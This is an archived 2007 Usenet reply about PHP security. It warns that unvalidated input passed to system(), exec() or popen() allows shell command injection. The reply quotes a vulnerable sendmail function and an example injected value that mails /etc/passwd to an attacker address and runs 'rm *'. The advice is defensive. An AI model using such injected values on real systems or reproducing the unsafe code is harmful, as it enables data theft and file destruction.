🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: alt.privacy.anon-server
Article #213837

Re: PHP

#213837
From: Steve
Date: Sat, 20 Jan 2007 15:37
56 lines
3333 bytes
admin@newsanon.yi.org wrote in message news:
<20070120133713.z30Khk2wz8tA@anonymous.poster> ...
> On Fri, 19 Jan 2007 20:32:51 -0500, Steve wrote:
> 
> > Make sure you are properly validating input/output if you are going to run
> > with magic_quotes_gbc off.  Your comment about "if it turns out that the
> > backslash is needed sometimes" makes me think you might not be.
> 
> The validation is being done in a python script called by the php module.
> My next step is to move the basic validation to where it belongs in the
> php module, and provide feedback to the user as he enters data on the form.
> 
> But I don't understand how the backslash or escape characters fit in with
> php validating, or how they replace it as you seem to suggest.
> 
> I have looked on the net for references as to how they connect but haven't
> seen anything. All I can think of is that they somehow prevent binary data
> from being entered.
> 

Think about things like this:

system($userinput);
exec(``program'', $userinput);

These are being passed to the shell.  If you don't escape special shell 
args, including null, you can end up giving access to any file on your 
system and/or allowing people to execute commands.  If you are 
validating so that they cannot contain any special shell characters, 
you won't need to escape them.  However e-mail addresses may contain <> 
which to the shell are redirects and you'd want to escape them \<\>.

Even something like this is very dangerous if not properly validated 
and escaped:

function Send($sendmail = "/usr/sbin/sendmail") {
  if ($this->form == "") {
   $fp = popen ($sendmail."-i".$this->to, "w");
  }
  else {
   $fp = popen ($sendmail."-i -f".
          $this->from." ".$this->to, "w");
  }
 }

If data not properly validated and escaped you could end up with 
something like this happening:

attacker@host.com attackermail@example.com < /etc/passwd; rm *;


/steve
-- 
Packetderm, LLC
Web hosting, SSH Tunneling, Proxies, Advanced E-Mail, Privacy
http://www.cotse.net/areyoureadyforus.html
Technical Details
Message-ID: <MPG.201c014b818450d498982a@news.newsreader.com>
Path: mbox-mo1.pugleaf.net!archive.usenet.blueworldhosting.com!illumos!news.pugleaf.net!.TX!i2pn2.pugleaf.net!archive.newsdeef.eu!mbox2nntp-alt.privacy.anon-server.20141023.mbox.gz!number1.nntp.dca.giganews.com!border1.nntp.dca.giganews.com!nntp.giganews.com!wns14feed!worldnet.att.net!63.218.45.11!nx02.iad01.newshosting.com!newshosting.com!198.186.194.247.MISMATCH!news-xxxfer.readnews.com!textspool1.readnews.com!news-out.readnews.com!postnews3.readnews.com!nr2.newsreader.com.POSTED!not-for-mail
References: <MPG.201b3b4b8c62f30a989829@news.newsreader.com> <20070120133713.z30Khk2wz8tA@anonymous.poster>

Show Full Headers
Complete Article Headers
Message-ID: <MPG.201c014b818450d498982a@news.newsreader.com>
Subject: Re: PHP
Date: Sat, 20 Jan 2007 10:37:38 -0500
From: Steve <steve@invalid.inv>
References: <MPG.201b3b4b8c62f30a989829@news.newsreader.com> <20070120133713.z30Khk2wz8tA@anonymous.poster>
Path: mbox-mo1.pugleaf.net!archive.usenet.blueworldhosting.com!illumos!news.pugleaf.net!.TX!i2pn2.pugleaf.net!archive.newsdeef.eu!mbox2nntp-alt.privacy.anon-server.20141023.mbox.gz!number1.nntp.dca.giganews.com!border1.nntp.dca.giganews.com!nntp.giganews.com!wns14feed!worldnet.att.net!63.218.45.11!nx02.iad01.newshosting.com!newshosting.com!198.186.194.247.MISMATCH!news-xxxfer.readnews.com!textspool1.readnews.com!news-out.readnews.com!postnews3.readnews.com!nr2.newsreader.com.POSTED!not-for-mail
Newsgroups: alt.privacy.anon-server
Organization: Packetderm, LLC
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
User-Agent: MicroPlanet-Gravity/2.60.2057
Lines: 56
NNTP-Posting-Host: 5f31a800.nr2.newsreader.com
X-Trace: DXC=eo; WEVBb2:lG\VoLl`58ffOA8_@f\K_ibdSnOn3mmWZjiOnBjUTfZ0joHL:MW\X;
 0f; 6; T7Y@YaFb`8GII8Ko2@d
X-Complaints-To: abuse@newsreader.com